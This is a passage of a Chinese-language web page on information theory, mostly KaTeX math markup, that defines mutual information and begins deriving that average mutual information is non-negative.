style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></span></span></p><p>注意：</p><ol><li><p><strong>互信息量是可以为正，也可以为负</strong>。</p></li><li><p>但是<strong>平均互信息量是非负数</strong>。相互独立的时候有 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">ab</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:13.4232em;vertical-align:-6.4616em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9616em;"><span style="top:-9.0602em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-5.695em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:-2.3299em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span><span style="top:1.1339em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4616em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9616em;"><span style="top:-9.0602em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span><span style="top:-5.695em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span><span style="top:-2.3299em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span 